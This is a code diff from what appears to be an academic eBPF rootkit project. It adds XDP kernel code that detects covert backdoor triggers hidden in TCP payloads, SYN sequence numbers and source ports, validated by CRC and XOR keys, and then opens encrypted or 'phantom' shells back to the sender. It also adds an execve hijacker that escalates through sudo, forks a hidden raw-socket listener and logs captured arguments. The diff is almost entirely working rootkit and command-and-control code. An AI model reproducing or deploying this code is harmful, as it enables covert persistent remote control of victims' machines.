||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = payload[0x05+ii] ^ payload[0x08+ii];
|
||||
if(result[ii]!=(key3[ii])){
|
||||
bpf_printk("R: %x, K3:%x", result[ii], key3[ii]);
|
||||
bpf_printk("P5:%x, P8:%x\n", payload[0x05+ii], payload[0x08+ii]);
|
||||
correct = 0;
|
||||
}
|
||||
}
|
||||
if(correct == 1){
|
||||
//Found valid k3 value
|
||||
command_received = CC_PROT_COMMAND_ENCRYPTED_SHELL;
|
||||
goto backdoor_finish_v3_32;
|
||||
}
|
||||
|
||||
backdoor_finish_v3_32:
|
||||
//Found no valid key 3
|
||||
if(correct==0){
|
||||
bpf_printk("FAIL CHECK 3\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
__u32 ip;
|
||||
__u16 port;
|
||||
__builtin_memcpy(&ip, payload+0x01, sizeof(__u32));
|
||||
__builtin_memcpy(&port, payload+0x05, sizeof(__u16));
|
||||
|
||||
bpf_printk("Completed backdoor trigger v3 (32bit), b_data position: %i\n", b_data.last_packet_modified);
|
||||
execute_key_command(command_received, ip, port, NULL, 0);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
static __always_inline int manage_backdoor_trigger_v3_16(struct backdoor_packet_log_data_16 b_data){
|
||||
int last_received = b_data.last_packet_modified;
|
||||
int first_packet;
|
||||
if(last_received>=0&&last_received<5){
|
||||
first_packet = last_received+1;
|
||||
}else{
|
||||
first_packet = 0;
|
||||
}
|
||||
|
||||
//The following routine is necessarily dirty in terms of programming,
|
||||
//but the ebpf verifier strongly dislikes MOD operations (check report, screenshot)
|
||||
char payload[CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT] = {0};
|
||||
if(first_packet == 0){
|
||||
for(int ii=first_packet; ii<6; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
}else if(first_packet == 1){
|
||||
for(int ii=first_packet; ii<6; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
}else if(first_packet == 2){
|
||||
for(int ii=first_packet; ii<6; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
}else if(first_packet == 3){
|
||||
for(int ii=first_packet; ii<6; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
}else if(first_packet == 4){
|
||||
for(int ii=first_packet; ii<6; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
}else if(first_packet == 5){
|
||||
for(int ii=first_packet; ii<6; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
}
|
||||
|
||||
/*bpf_printk("Payload before XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");*/
|
||||
|
||||
//Now that we have the possible complete stream, let's search for the secret backdoor combination in it
|
||||
//First undo running XOR
|
||||
for(int ii=CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT-1; ii>0; ii--){
|
||||
char xor_res = payload[ii-1] ^ payload[ii];
|
||||
__builtin_memcpy(payload+ii, (char*)&(xor_res), 0x01);
|
||||
}
|
||||
|
||||
/*bpf_printk("Payload after XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");*/
|
||||
|
||||
//Now compute CRC
|
||||
__u8 x;
|
||||
__u16 crc = 0xFFFF;
|
||||
__u8 length = 0x0A;
|
||||
char *payload_p = payload;
|
||||
|
||||
while (length--){
|
||||
x = crc >> 8 ^ *payload_p++;
|
||||
x ^= x>>4;
|
||||
crc = (crc << 8) ^ ((__u16)(x << 12)) ^ ((__u16)(x <<5)) ^ ((__u16)x);
|
||||
}
|
||||
|
||||
//Check CRC with the one received
|
||||
char crc_char1, crc_char2;
|
||||
__builtin_memcpy(&crc_char1, (char*)&(crc), sizeof(__u8));
|
||||
__builtin_memcpy(&crc_char2, (char*)&(crc)+1, sizeof(__u8));
|
||||
if(crc_char1 != payload[0x0A]){
|
||||
bpf_printk("Failed backdoor V3 (16bit) check 1 in %i: %x vs %x\n", last_received, crc_char1, payload[0x0A]);
|
||||
return 0;
|
||||
}
|
||||
if(crc_char2 != payload[0x0B]){
|
||||
bpf_printk("Failed backdoor V3 (16bit) check 2: %x vs %x\n", crc_char2, payload[0x0B]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
//Check the K3 used, that indicates the command issued, and whether it was a valid payload too
|
||||
char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char result[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1];
|
||||
int correct = 1;
|
||||
int command_received = -1;
|
||||
//Encrypted shell request
|
||||
__builtin_memcpy(key3, CC_STREAM_TRIGGER_KEY_ENCRYPTED_SHELL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = payload[0x05+ii] ^ payload[0x08+ii];
|
||||
if(result[ii]!=(key3[ii])){
|
||||
bpf_printk("R: %x, K3:%x", result[ii], key3[ii]);
|
||||
bpf_printk("P5:%x, P8:%x\n", payload[0x05+ii], payload[0x08+ii]);
|
||||
correct = 0;
|
||||
}
|
||||
}
|
||||
if(correct == 1){
|
||||
//Found valid k3 value
|
||||
command_received = CC_PROT_COMMAND_ENCRYPTED_SHELL;
|
||||
goto backdoor_finish_v3_16;
|
||||
}
|
||||
|
||||
backdoor_finish_v3_16:
|
||||
//Found no valid key 3
|
||||
if(correct==0){
|
||||
bpf_printk("FAIL CHECK 3\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
__u32 ip;
|
||||
__u16 port;
|
||||
__builtin_memcpy(&ip, payload+0x01, sizeof(__u32));
|
||||
__builtin_memcpy(&port, payload+0x05, sizeof(__u16));
|
||||
|
||||
bpf_printk("Completed backdoor trigger v3 (16bit), b_data position: %i\n", b_data.last_packet_modified);
|
||||
execute_key_command(command_received, ip, port, NULL, 0);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -43,8 +43,7 @@ static __always_inline struct expand_return expand_tcp_packet_payload(struct xdp
|
||||
__builtin_memcpy(&ip_copy, ip, sizeof(struct iphdr));
|
||||
__builtin_memcpy(&tcp_copy, tcp, sizeof(struct tcphdr));
|
||||
|
||||
if (bpf_xdp_adjust_tail(ctx, (int)(sizeof(char)*more_bytes)) != 0)
|
||||
{
|
||||
if (bpf_xdp_adjust_tail(ctx, (int)(sizeof(char)*more_bytes)) != 0){
|
||||
//Failed to expand
|
||||
bpf_printk("Failed to expand a tcp packet reserved bytes by %i\n", more_bytes);
|
||||
ret.code = -1;//The rest is undefined
|
||||
|
||||
@@ -26,12 +26,14 @@
|
||||
|
||||
//User-kernel dependencies
|
||||
#include "../common/constants.h"
|
||||
#include "../common/c&c.h"
|
||||
|
||||
//BPF exclusive includes
|
||||
#include "packet/packet_manager.h"
|
||||
#include "packet/protocol/tcp_helper.h"
|
||||
#include "xdp/xdp_helper.h"
|
||||
#include "utils/strings.h"
|
||||
#include "xdp/backdoor.h"
|
||||
|
||||
//BPF modules to load
|
||||
#include "include/bpf/sched.h"
|
||||
@@ -49,6 +51,42 @@ struct eth_hdr {
|
||||
unsigned short h_proto;
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Checks for the packet to be a phantom request
|
||||
* Returns 1 if it wants to stop the XDP pipeline.
|
||||
*
|
||||
* @param payload
|
||||
* @param payload_size
|
||||
* @param data_end
|
||||
* @param ip
|
||||
* @param tcp
|
||||
* @return __always_inline
|
||||
*/
|
||||
static __always_inline int check_phantom_payload(char* payload, int payload_size, void* data_end, struct iphdr* ip, struct tcphdr* tcp){
|
||||
if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
||||
bpf_printk("G");
|
||||
return XDP_PASS;
|
||||
}
|
||||
bpf_printk("Detected possible phantom shell command\n");
|
||||
//Check if phantom shell command
|
||||
char phantom_request[] = CC_PROT_PHANTOM_COMMAND_REQUEST;
|
||||
int is_phantom_request = 1;
|
||||
for(int ii=0; ii<sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)-1; ii++){
|
||||
if(phantom_request[ii] != payload[ii]){
|
||||
is_phantom_request = 0;
|
||||
//bpf_printk("Not phantom: %s\n", payload);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(is_phantom_request == 1){
|
||||
execute_key_command(CC_PROT_COMMAND_PHANTOM_SHELL, ip->saddr, tcp->source, payload, payload_size);
|
||||
return 1;
|
||||
}
|
||||
bpf_printk("Not phantom shell\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
SEC("xdp_prog")
|
||||
int xdp_receive(struct xdp_md *ctx){
|
||||
@@ -89,18 +127,155 @@ int xdp_receive(struct xdp_md *ctx){
|
||||
|
||||
if (get_tcp_dest_port(tcp) != SECRET_PACKET_DEST_PORT){
|
||||
bpf_printk("E %i\n", bpf_ntohs(tcp->dest));
|
||||
bpf_printk("D: %ld, DE:%ld", ctx->data, ctx->data_end);
|
||||
return XDP_PASS;
|
||||
}
|
||||
bpf_printk("Detected 9000\n");
|
||||
|
||||
payload_size = bpf_ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
payload = (void *)tcp + tcp->doff*4;
|
||||
|
||||
// We use "size - 1" to account for the final '\0', but depending on the program use
|
||||
int ret_value = -1;
|
||||
//Yes, the verifier gets a bit angry when trying working with intervals in the payload
|
||||
//A chained if is also not good. A macro could be added for this kind of cases.
|
||||
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)){
|
||||
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||
}
|
||||
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+1){
|
||||
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||
}
|
||||
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+2){
|
||||
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||
}
|
||||
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+3){
|
||||
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||
}
|
||||
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+4){
|
||||
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||
}
|
||||
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+5){
|
||||
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||
}
|
||||
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+6){
|
||||
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||
}
|
||||
if(ret_value == 1){
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
//Check for the rootkit backdoor trigger V1
|
||||
if(payload_size == CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE){
|
||||
if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
||||
bpf_printk("G");
|
||||
return XDP_PASS;
|
||||
}
|
||||
return manage_backdoor_trigger_v1(payload, payload_size, ip->saddr, tcp->source);
|
||||
}
|
||||
//Check for rootkit backdoor trigger V3 - stream of SYN packets with hidden payload
|
||||
if(tcp->syn == 1){
|
||||
//Now, we will need to take into account that payloads might be hidden in 32-bit fields or 16-bit ones.
|
||||
//Support has been added for:
|
||||
// 3-stream 32-bit field 16 payload triggers
|
||||
// 6-stream 16-bit field 16 payload triggers
|
||||
|
||||
////32-bit 6-len streams
|
||||
|
||||
//SYN packet detected, store in bpf map.
|
||||
//When a full stream comes, then it will be analyzed and search whether it is a valid sequence
|
||||
//Known issue, ignored dliberately: IP sending packets to different ports classified as same communication
|
||||
//This way we may include some port-knocking like mechanism.
|
||||
bpf_printk("SYN detected");
|
||||
__u32 ipvalue = ip->saddr;
|
||||
struct backdoor_packet_log_data_32 *b_data_32 = (struct backdoor_packet_log_data_32*) bpf_map_lookup_elem(&backdoor_packet_log_32, &ipvalue);
|
||||
struct backdoor_packet_log_data_32 b_new_data_32 = {0};
|
||||
|
||||
if (b_data_32 != NULL ){
|
||||
//Means first time this IP sends a packet to us
|
||||
//It is always between the below range, this is just to avoid verifier complains
|
||||
if(b_data_32->last_packet_modified>-1 && b_data_32->last_packet_modified<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM){
|
||||
b_new_data_32.last_packet_modified = b_data_32->last_packet_modified;
|
||||
//Necessary complicated MOD, the verifier rejects it otherwise
|
||||
b_new_data_32.last_packet_modified++;
|
||||
if(b_new_data_32.last_packet_modified>=3){
|
||||
b_new_data_32.last_packet_modified = 0;
|
||||
}
|
||||
b_new_data_32.trigger_array[0] = b_data_32->trigger_array[0];
|
||||
b_new_data_32.trigger_array[1] = b_data_32->trigger_array[1];
|
||||
b_new_data_32.trigger_array[2] = b_data_32->trigger_array[2];
|
||||
//bpf_probe_read(&b_new_data, sizeof(struct backdoor_packet_log_data_32), b_data);
|
||||
int last_modified = b_new_data_32.last_packet_modified;
|
||||
//Yes, this is really needed to be done this way. Intervals are no sufficient
|
||||
if(last_modified != 0 && last_modified != 1 && last_modified != 2){
|
||||
return XDP_PASS;
|
||||
}
|
||||
b_new_data_32.trigger_array[last_modified].seq_raw = tcp->seq;
|
||||
bpf_map_update_elem(&backdoor_packet_log_32, &ipvalue, &b_new_data_32, BPF_ANY);
|
||||
//If it was not the first packet received, this may be the end of the backdoor sequence (even if previous packets
|
||||
//where for other purpose, we must still check it)
|
||||
int ret = manage_backdoor_trigger_v3_32(b_new_data_32);
|
||||
if(ret == 1){
|
||||
return XDP_DROP;
|
||||
}
|
||||
}
|
||||
}else{
|
||||
//Done this way to avoid verifier complains
|
||||
int num = 0;
|
||||
//bpf_probe_read((void*)&(b_new_data->last_packet_modified), sizeof(__u32), (void*)&num);
|
||||
//bpf_probe_read(&(b_new_data->trigger_array[0].seq_raw), sizeof(__u32), &(tcp->seq));
|
||||
b_new_data_32.last_packet_modified = 0;
|
||||
b_new_data_32.trigger_array[0].seq_raw = tcp->seq;
|
||||
bpf_map_update_elem(&backdoor_packet_log_32, &ipvalue, &b_new_data_32, BPF_ANY);
|
||||
}
|
||||
|
||||
|
||||
////16 bit 6-len streams
|
||||
struct backdoor_packet_log_data_16 *b_data_16 = (struct backdoor_packet_log_data_16*) bpf_map_lookup_elem(&backdoor_packet_log_16, &ipvalue);
|
||||
struct backdoor_packet_log_data_16 b_new_data_16 = {0};
|
||||
if (b_data_16 != NULL ){
|
||||
//Means first time this IP sends a packet to us
|
||||
//It is always between the below range, this is just to avoid verifier complains
|
||||
if(b_data_16->last_packet_modified>-1 && b_data_16->last_packet_modified<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT){
|
||||
b_new_data_16.last_packet_modified = b_data_16->last_packet_modified;
|
||||
//Necessary complicated MOD, the verifier rejects it otherwise
|
||||
b_new_data_16.last_packet_modified++;
|
||||
if(b_new_data_16.last_packet_modified>=6){
|
||||
b_new_data_16.last_packet_modified = 0;
|
||||
}
|
||||
b_new_data_16.trigger_array[0] = b_data_16->trigger_array[0];
|
||||
b_new_data_16.trigger_array[1] = b_data_16->trigger_array[1];
|
||||
b_new_data_16.trigger_array[2] = b_data_16->trigger_array[2];
|
||||
b_new_data_16.trigger_array[3] = b_data_16->trigger_array[3];
|
||||
b_new_data_16.trigger_array[4] = b_data_16->trigger_array[4];
|
||||
b_new_data_16.trigger_array[5] = b_data_16->trigger_array[5];
|
||||
//bpf_probe_read(&b_new_data, sizeof(struct backdoor_packet_log_data_32), b_data);
|
||||
int last_modified = b_new_data_16.last_packet_modified;
|
||||
//Yes, this is really needed to be done this way. Intervals are not sufficient
|
||||
if(last_modified != 0 && last_modified != 1 && last_modified != 2 && last_modified != 3 && last_modified != 4 && last_modified != 5){
|
||||
return XDP_PASS;
|
||||
}
|
||||
b_new_data_16.trigger_array[last_modified].src_port = tcp->source;
|
||||
bpf_map_update_elem(&backdoor_packet_log_16, &ipvalue, &b_new_data_16, BPF_ANY);
|
||||
//If it was not the first packet received, this may be the end of the backdoor sequence (even if previous packets
|
||||
//where for other purpose, we must still check it)
|
||||
int ret = manage_backdoor_trigger_v3_16(b_new_data_16);
|
||||
if(ret == 1){
|
||||
return XDP_DROP;
|
||||
}
|
||||
}
|
||||
}else{
|
||||
//Done this way to avoid verifier complains
|
||||
b_new_data_16.last_packet_modified = 0;
|
||||
b_new_data_16.trigger_array[0].src_port = tcp->source;
|
||||
bpf_map_update_elem(&backdoor_packet_log_16, &ipvalue, &b_new_data_16, BPF_ANY);
|
||||
}
|
||||
}
|
||||
//Check for the packet modification PoC
|
||||
// We use "size - 1" to account for the final '\0'
|
||||
if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
|
||||
bpf_printk("F, PS:%i, P:%i, DE:%i\n", payload_size, payload, data_end);
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
|
||||
if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
||||
bpf_printk("G");
|
||||
return XDP_PASS;
|
||||
|
||||
Binary file not shown.
@@ -1,3 +1,4 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
@@ -15,12 +16,22 @@
|
||||
#include <netdb.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <sys/file.h>
|
||||
#include <errno.h>
|
||||
#include <syslog.h>
|
||||
#include <dlfcn.h>
|
||||
#include <sys/timerfd.h>
|
||||
#include <ifaddrs.h>
|
||||
#include <linux/if_link.h>
|
||||
|
||||
#include "lib/RawTCP.h"
|
||||
#include "../common/c&c.h"
|
||||
#include <linux/bpf.h>
|
||||
#include <bpf/bpf.h>
|
||||
#include <bpf/libbpf.h>
|
||||
|
||||
#define LOCK_FILE "/tmp/rootlog"
|
||||
#define DEFAULT_NETWORK_INTERFACE "enp0s3"
|
||||
|
||||
int test_time_values_injection(){
|
||||
|
||||
@@ -59,7 +70,6 @@ int test_time_values_injection(){
|
||||
|
||||
|
||||
char* execute_command(char* command){
|
||||
|
||||
FILE *fp;
|
||||
char* res = calloc(4096, sizeof(char));
|
||||
char buf[1024];
|
||||
@@ -77,10 +87,73 @@ char* execute_command(char* command){
|
||||
|
||||
pclose(fp);
|
||||
return res;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @brief Improved version of getting local IP
|
||||
* Based on the man page: https://man7.org/linux/man-pages/man3/getifaddrs.3.html
|
||||
*
|
||||
* @return char*
|
||||
*/
|
||||
char* getLocalIpAddress(){
|
||||
char hostbuffer[256];
|
||||
char* IPbuffer = calloc(256, sizeof(char));
|
||||
struct hostent *host_entry;
|
||||
int hostname;
|
||||
|
||||
struct ifaddrs *ifaddr;
|
||||
int family, s;
|
||||
char host[NI_MAXHOST];
|
||||
|
||||
if (getifaddrs(&ifaddr) == -1) {
|
||||
perror("getifaddrs");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/* Walk through linked list, maintaining head pointer so we
|
||||
can free list later. */
|
||||
|
||||
for (struct ifaddrs *ifa = ifaddr; ifa != NULL;ifa = ifa->ifa_next) {
|
||||
if (ifa->ifa_addr == NULL)
|
||||
continue;
|
||||
|
||||
family = ifa->ifa_addr->sa_family;
|
||||
|
||||
/* Display interface name and family (including symbolic
|
||||
form of the latter for the common families). */
|
||||
|
||||
//printf("%-8s %s (%d)\n",ifa->ifa_name,(family == AF_PACKET) ? "AF_PACKET" :(family == AF_INET) ? "AF_INET" :(family == AF_INET6) ? "AF_INET6" : "???",family);
|
||||
/* For an AF_INET* interface address, display the address. */
|
||||
|
||||
if (family == AF_INET || family == AF_INET6) {
|
||||
s = getnameinfo(ifa->ifa_addr,
|
||||
(family == AF_INET) ? sizeof(struct sockaddr_in) :
|
||||
sizeof(struct sockaddr_in6),
|
||||
host, NI_MAXHOST,
|
||||
NULL, 0, NI_NUMERICHOST);
|
||||
if (s != 0) {
|
||||
printf("getnameinfo() failed: %s\n", gai_strerror(s));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
//printf("\t\taddress: <%s>\n", host);
|
||||
if(strcmp(ifa->ifa_name, DEFAULT_NETWORK_INTERFACE)==0){
|
||||
//Interface we chose
|
||||
printf("Attacker IP selected: %s (%s)\n", ifa->ifa_name, host);
|
||||
strcpy(IPbuffer, host);
|
||||
return IPbuffer;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
freeifaddrs(ifaddr);
|
||||
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
|
||||
char* getLocalIpAddress(){
|
||||
char* getLocalIpAddress_old(){
|
||||
char hostbuffer[256];
|
||||
char* IPbuffer = calloc(256, sizeof(char));
|
||||
struct hostent *host_entry;
|
||||
@@ -102,15 +175,10 @@ char* getLocalIpAddress(){
|
||||
|
||||
return IPbuffer;
|
||||
}
|
||||
//test_time_values_injection();
|
||||
|
||||
int main(int argc, char* argv[], char *envp[]){
|
||||
printf("Hello world from execve hijacker\n");
|
||||
for(int ii=0; ii<argc; ii++){
|
||||
printf("Argument %i is %s\n", ii, argv[ii]);
|
||||
}
|
||||
|
||||
test_time_values_injection();
|
||||
|
||||
int hijacker_process_routine(int argc, char* argv[], int fd){
|
||||
//Lock the file to indicate we are already into the routine
|
||||
time_t rawtime;
|
||||
struct tm * timeinfo;
|
||||
|
||||
@@ -118,31 +186,6 @@ int main(int argc, char* argv[], char *envp[]){
|
||||
timeinfo = localtime ( &rawtime );
|
||||
char* timestr = asctime(timeinfo);
|
||||
|
||||
|
||||
if(geteuid() != 0){
|
||||
//We do not have privileges, but we do want them. Let's rerun the program now.
|
||||
char* args[argc+1];
|
||||
args[0] = argv[0];
|
||||
for(int ii=0; ii<argc; ii++){
|
||||
args[ii+1] = argv[ii];
|
||||
}
|
||||
if(execve("/usr/bin/sudo", args, envp)<0){
|
||||
perror("Failed to execve()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//We proceed to fork() and exec the original program, whilst also executing the one we
|
||||
//ordered to execute via the network backdoor
|
||||
//int bpf_map_fd = bpf_map_get_fd_by_id()
|
||||
|
||||
int fd = open("/tmp/rootlog", O_RDWR | O_CREAT | O_TRUNC, 0666);
|
||||
if(fd<0){
|
||||
perror("Failed to open log file");
|
||||
//return -1;
|
||||
}
|
||||
|
||||
int ii = 0;
|
||||
while(*(timestr+ii)!='\0'){
|
||||
write(fd, timestr+ii, 1);
|
||||
@@ -150,16 +193,19 @@ int main(int argc, char* argv[], char *envp[]){
|
||||
}
|
||||
write(fd, "\t", 1);
|
||||
|
||||
ii = 0;
|
||||
while(*(argv[0]+ii)!='\0'){
|
||||
write(fd, argv[0]+ii, 1);
|
||||
ii++;
|
||||
for(int jj = 0; jj<argc; jj++){
|
||||
ii = 0;
|
||||
while(*(argv[jj]+ii)!='\0'){
|
||||
write(fd, argv[jj]+ii, 1);
|
||||
ii++;
|
||||
}
|
||||
write(fd, "\t", 1);
|
||||
}
|
||||
|
||||
write(fd, "\n", 1);
|
||||
write(fd, "Sniffing...\n", 13);
|
||||
|
||||
|
||||
printf("Running hijacking process\n");
|
||||
packet_t packet = rawsocket_sniff_pattern(CC_PROT_SYN);
|
||||
if(packet.ipheader == NULL){
|
||||
write(fd, "Failed to open rawsocket\n", 1);
|
||||
@@ -210,6 +256,88 @@ int main(int argc, char* argv[], char *envp[]){
|
||||
}
|
||||
}
|
||||
|
||||
flock(fd, LOCK_UN);
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char* argv[], char *envp[]){
|
||||
printf("Hello world from execve hijacker\n");
|
||||
for(int ii=0; ii<argc; ii++){
|
||||
printf("Argument %i is %s\n", ii, argv[ii]);
|
||||
}
|
||||
|
||||
if(geteuid() != 0){
|
||||
//We do not have privileges, but we do want them. Let's rerun the program now.
|
||||
char* args[argc+3];
|
||||
args[0] = "sudo";
|
||||
args[1] = "/home/osboxes/TFG/src/helpers/execve_hijack";
|
||||
printf("execve ARGS%i: %s\n", 0, args[0]);
|
||||
printf("execve ARGS%i: %s\n", 1, args[1]);
|
||||
for(int ii=0; ii<argc; ii++){
|
||||
args[ii+2] = argv[ii];
|
||||
printf("execve ARGS%i: %s\n", ii+2, args[ii+2]);
|
||||
}
|
||||
args[argc+2] = NULL;
|
||||
|
||||
if(execve("/usr/bin/sudo", args, envp)<0){
|
||||
perror("Failed to execve()");
|
||||
exit(-1);
|
||||
}
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
||||
//We proceed to fork() and exec the original program, whilst also executing the one we
|
||||
//ordered to execute via the network backdoor
|
||||
pid_t pid = fork();
|
||||
|
||||
if (pid < 0) {
|
||||
perror("Fork failed");
|
||||
}
|
||||
if (pid == 0) {
|
||||
setsid();
|
||||
//Child process
|
||||
printf("I am the child with pid %d\n", (int) getpid());
|
||||
|
||||
//First of all check if the locking log file is locked, which indicates that the backdoor process is already running
|
||||
int fd = open(LOCK_FILE, O_RDWR | O_CREAT | O_TRUNC, 0666);
|
||||
if(fd<0){
|
||||
perror("Failed to open lock file before entering hijacking routine");
|
||||
exit(-1);
|
||||
}
|
||||
if (flock(fd, LOCK_EX|LOCK_NB) == -1) {
|
||||
if (errno == EWOULDBLOCK) {
|
||||
perror("lock file was locked");
|
||||
} else {
|
||||
perror("Error with the lockfile");
|
||||
}
|
||||
exit(-1);
|
||||
}
|
||||
hijacker_process_routine(argc, argv, fd);
|
||||
printf("Child process is exiting\n");
|
||||
exit(0);
|
||||
}
|
||||
//Parent process. Call original hijacked command
|
||||
char* hij_args[argc];
|
||||
hij_args[0] = argv[1];
|
||||
syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", 0, hij_args[0]);
|
||||
for(int ii=0; ii<argc-2; ii++){
|
||||
hij_args[ii+1] = argv[ii+2];
|
||||
syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", ii+1, hij_args[ii+1]);
|
||||
}
|
||||
hij_args[argc-1] = NULL;
|
||||
|
||||
if(execve(argv[1], hij_args, envp)<0){
|
||||
perror("Failed to execve() originally hijacked process");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
wait(NULL);
|
